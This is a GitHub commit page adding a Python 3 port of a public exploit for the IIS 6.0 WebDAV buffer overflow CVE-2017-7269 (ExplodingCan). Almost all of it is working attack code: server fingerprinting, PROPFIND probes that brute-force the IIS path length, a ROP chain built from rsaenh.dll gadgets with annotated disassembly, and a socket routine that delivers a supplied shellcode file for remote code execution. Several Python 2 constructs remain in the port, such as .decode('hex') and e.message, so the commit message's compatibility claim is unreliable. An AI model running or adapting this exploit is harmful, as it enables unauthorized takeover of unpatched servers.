Skip to content

Commit 7010a2c

Browse files
committed
Created a second py script that will be compatible with the latest version of python 3
The latest version of Python 3 had some package renamings making it not possible to run directly on py3
1 parent 93bbb40 commit 7010a2c

1 file changed

Lines changed: 290 additions & 0 deletions

File tree

explodingcanPy3.py

Lines changed: 290 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,290 @@
1+
#!/usr/bin/python
2+
# -*- coding: utf-8 -*-
3+
#
4+
# An implementation of NSA's ExplodingCan exploit
5+
# Microsoft IIS WebDav 'ScStoragePathFromUrl' Remote Buffer Overflow
6+
# CVE-2017-7269
7+
#
8+
# by @danigargu
9+
#
10+
#
11+
12+
import re
13+
import sys
14+
import socket
15+
import requests
16+
import http.client
17+
import string
18+
import time
19+
import random
20+
import sys
21+
22+
from urllib.parse import urlparse
23+
from struct import pack
24+
25+
REQUEST_TIMEOUT = 10
26+
DEFAULT_IIS_PATH_SIZE = len("C:\Inetpub\wwwroot")
27+
28+
def decode(data):
29+
return data.decode("utf-8").encode("utf-16le")
30+
31+
def encode(data):
32+
return data.decode("utf-16le").encode("utf-8")
33+
34+
p = lambda x : pack("<L", x) # pack
35+
36+
def rand_text_alpha(size):
37+
chars = string.ascii_uppercase + string.ascii_lowercase + string.digits
38+
return ''.join(random.choice(chars) for _ in range(size))
39+
40+
def supports_webdav(headers):
41+
if "DAV" in headers.get('MS-Author-Via','') or \
42+
headers.get('DASL','') == '<DAV:sql>' or \
43+
re.match('^[\d]+(,\s+[\d]+)?$', headers.get('DAV','')) or \
44+
"PROPFIND" in headers.get('Public','') or \
45+
"PROPFIND" in headers.get('Allow',''):
46+
return True
47+
return False
48+
49+
def check(url):
50+
r = requests.request('OPTIONS', url, timeout=REQUEST_TIMEOUT)
51+
if r.status_code != 200:
52+
print("[-] Status code: %d" % r.status_code)
53+
return False
54+
55+
print("[*] Server found: %s" % r.headers['Server'])
56+
if "IIS/6.0" in r.headers['Server'] and supports_webdav(r.headers):
57+
return True
58+
return False
59+
60+
def find_iis_path_len(url, min_len=3, max_len=70, delay=0):
61+
idx = 0
62+
junk = 60
63+
found = False
64+
iis_path_len = None
65+
cur_size = max_len
66+
67+
assert max_len <= 130, "Max length exceeded (130)"
68+
init_lenght = 130-max_len
69+
70+
while not found and cur_size > min_len:
71+
cur_size = (max_len-idx)
72+
to_brute = rand_text_alpha(init_lenght+idx)
73+
base_query = "<http://localhost/%s> (Not <locktoken:write1>) <http://localhost/>" % to_brute
74+
75+
sys.stdout.write("[*] Trying with size: %d\r" % cur_size)
76+
sys.stdout.flush()
77+
try:
78+
r = requests.request('PROPFIND', url,
79+
timeout=REQUEST_TIMEOUT, headers={
80+
'Content-Length': '0',
81+
'Host': 'localhost',
82+
'If': base_query
83+
})
84+
85+
if r.status_code == 500:
86+
iis_path_len = (max_len-idx)
87+
found = True
88+
idx += 1
89+
time.sleep(delay)
90+
91+
# requests.exceptions.ReadTimeout
92+
except requests.exceptions.ConnectionError as e:
93+
print("[-] ERROR: %s" % e.message)
94+
break
95+
96+
if iis_path_len and iis_path_len == max_len:
97+
iis_path_len = None
98+
99+
return iis_path_len
100+
101+
def make_payload(p_url, iis_path_len, shellcode):
102+
url = p_url.geturl()
103+
payload = "PROPFIND / HTTP/1.1\r\n"
104+
payload += "Host: %s\r\n" % p_url.netloc
105+
payload += "Content-Length: 0\r\n"
106+
payload += "If: <%s/a" % url
107+
108+
junk = (128-iis_path_len) * 2
109+
110+
p1 = rand_text_alpha(junk) # Varies the length given its IIS physical path
111+
p1 += p(0x02020202)
112+
p1 += p(0x680312c0) # str pointer to .data httpext.dll
113+
p1 += rand_text_alpha(24)
114+
p1 += p(0x680313c0) # destination pointer used with memcpy
115+
p1 += rand_text_alpha(12)
116+
p1 += p(0x680313c0) # destination pointer used with memcpy
117+
118+
payload += encode(p1)
119+
120+
payload += "> (Not <locktoken:write1>) "
121+
payload += "<%s/b" % url
122+
123+
p2 = rand_text_alpha(junk - 4)
124+
p2 += p(0x680313c0)
125+
126+
"""
127+
Stack adjust:
128+
129+
rsaenh.dll:68006E4F pop esi
130+
rsaenh.dll:68006E50 pop ebp
131+
rsaenh.dll:68006E51 retn 20h
132+
"""
133+
134+
p2 += p(0x68006e4f) # StackAdjust
135+
p2 += p(0x68006e4f) # StackAdjust
136+
p2 += rand_text_alpha(4)
137+
p2 += p(0x680313c0)
138+
p2 += p(0x680313c0)
139+
p2 += rand_text_alpha(12)
140+
141+
"""
142+
rsaenh.dll:68016082 mov esp, ecx
143+
rsaenh.dll:68016084 mov ecx, [eax]
144+
rsaenh.dll:68016086 mov eax, [eax+4]
145+
rsaenh.dll:68016089 push eax
146+
rsaenh.dll:6801608A retn
147+
"""
148+
149+
p2 += p(0x68016082)
150+
p2 += rand_text_alpha(12)
151+
p2 += p(0x6800b113) # push 0x40 - PAGE_EXECUTE_READWRITE
152+
p2 += rand_text_alpha(4)
153+
p2 += p(0x680124e3) # JMP [EBX]
154+
p2 += p(0x68031460) # shellcode address
155+
p2 += p(0x7ffe0300) # ntdll!KiFastSystemCall address
156+
p2 += p(0xffffffff)
157+
p2 += p(0x680313c0)
158+
p2 += p(0x6803046e)
159+
p2 += rand_text_alpha(4)
160+
p2 += p(0x68031434)
161+
p2 += p(0x680129e7) # leave; ret
162+
163+
"""
164+
rsaenh.dll:68009391 pop eax
165+
rsaenh.dll:68009392 pop ebp
166+
rsaenh.dll:68009393 retn 4
167+
"""
168+
169+
p2 += p(0x68009391)
170+
p2 += rand_text_alpha(16)
171+
p2 += p(0x6803141c)
172+
173+
"""
174+
rsaenh.dll:68006E05 lea esp, [ebp-20h]
175+
rsaenh.dll:68006E08 pop edi
176+
rsaenh.dll:68006E09 pop esi
177+
rsaenh.dll:68006E0A pop ebx
178+
rsaenh.dll:68006E0B leave
179+
rsaenh.dll:68006E0C retn 24h
180+
"""
181+
182+
p2 += p(0x68006e05)
183+
p2 += rand_text_alpha(12)
184+
p2 += p(0x68008246) # EAX val address
185+
p2 += rand_text_alpha(4)
186+
187+
"""
188+
Load 0x8F in EAX: NtProtectVirtualMemory syscall (Windows 2003 Server)
189+
190+
rsaenh.dll:68021DAA mov eax, [eax+110h]
191+
rsaenh.dll:68021DB0 pop ebp
192+
rsaenh.dll:68021DB1 retn 4
193+
"""
194+
195+
p2 += p(0x68021daa)
196+
p2 += rand_text_alpha(4)
197+
p2 += p(0x680313f8)
198+
p2 += p(0x680129e7) # leave; ret
199+
200+
payload += encode(p2)
201+
202+
"""
203+
stack restore:
204+
205+
90 nop
206+
31db xor ebx, ebx
207+
b308 mov bl, 8
208+
648b23 mov esp, dword fs:[ebx]
209+
6681c40008 add sp, 0x800
210+
90 nop
211+
"""
212+
payload += encode("9031DBB308648B236681C4000890".decode("hex"))
213+
payload += encode(shellcode)
214+
payload += ">\r\n\r\n"
215+
216+
return payload
217+
218+
def send_exploit(p_url, data):
219+
host = p_url.hostname
220+
port = p_url.port if p_url.port else 80
221+
vulnerable = False
222+
recv_data = None
223+
224+
try:
225+
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
226+
sock.settimeout(50)
227+
sock.connect((host, port))
228+
sock.send(data)
229+
recv_data = sock.recv(1024)
230+
sock.close()
231+
except socket.timeout:
232+
print("[*] Socket timeout")
233+
vulnerable = True
234+
except socket.error as e:
235+
if e.errno == 54:
236+
print("[*] Connection reset by peer")
237+
vulnerable = True
238+
return (vulnerable, recv_data)
239+
240+
def main():
241+
if len(sys.argv) < 3:
242+
print("Usage: %s <url> <shellcode-file>" % sys.argv[0])
243+
return
244+
245+
try:
246+
url = sys.argv[1]
247+
sc_file = sys.argv[2]
248+
p_url = urlparse(url)
249+
shellcode = None
250+
251+
with open(sc_file, 'rb') as f:
252+
shellcode = f.read()
253+
254+
print("[*] Using URL: %s" % url)
255+
if not check(url):
256+
print("[-] Server not vulnerable")
257+
return
258+
259+
iis_path_len = find_iis_path_len(url)
260+
if not iis_path_len:
261+
print("[-] Unable to determine IIS path size")
262+
return
263+
264+
print("[*] Found IIS path size: %d" % iis_path_len)
265+
if iis_path_len == DEFAULT_IIS_PATH_SIZE:
266+
print("[*] Default IIS path: C:\Inetpub\wwwroot")
267+
268+
r = requests.request('PROPFIND', url, timeout=REQUEST_TIMEOUT)
269+
if r and r.status_code == 207:
270+
print("[*] WebDAV request: OK")
271+
payload = make_payload(p_url, iis_path_len, shellcode)
272+
273+
print("[*] Payload len: %d" % len(payload))
274+
print("[*] Sending payload...")
275+
vuln, recv_data = send_exploit(p_url, payload)
276+
277+
if vuln:
278+
print("[+] The host is maybe vulnerable")
279+
if recv_data:
280+
print(recv_data)
281+
else:
282+
print("[-] Server did not respond correctly to WebDAV request")
283+
return
284+
285+
except Exception as e:
286+
print("[-] %s" % e)
287+
288+
if __name__ == '__main__':
289+
main()
290+

0 commit comments

Comments
 (0)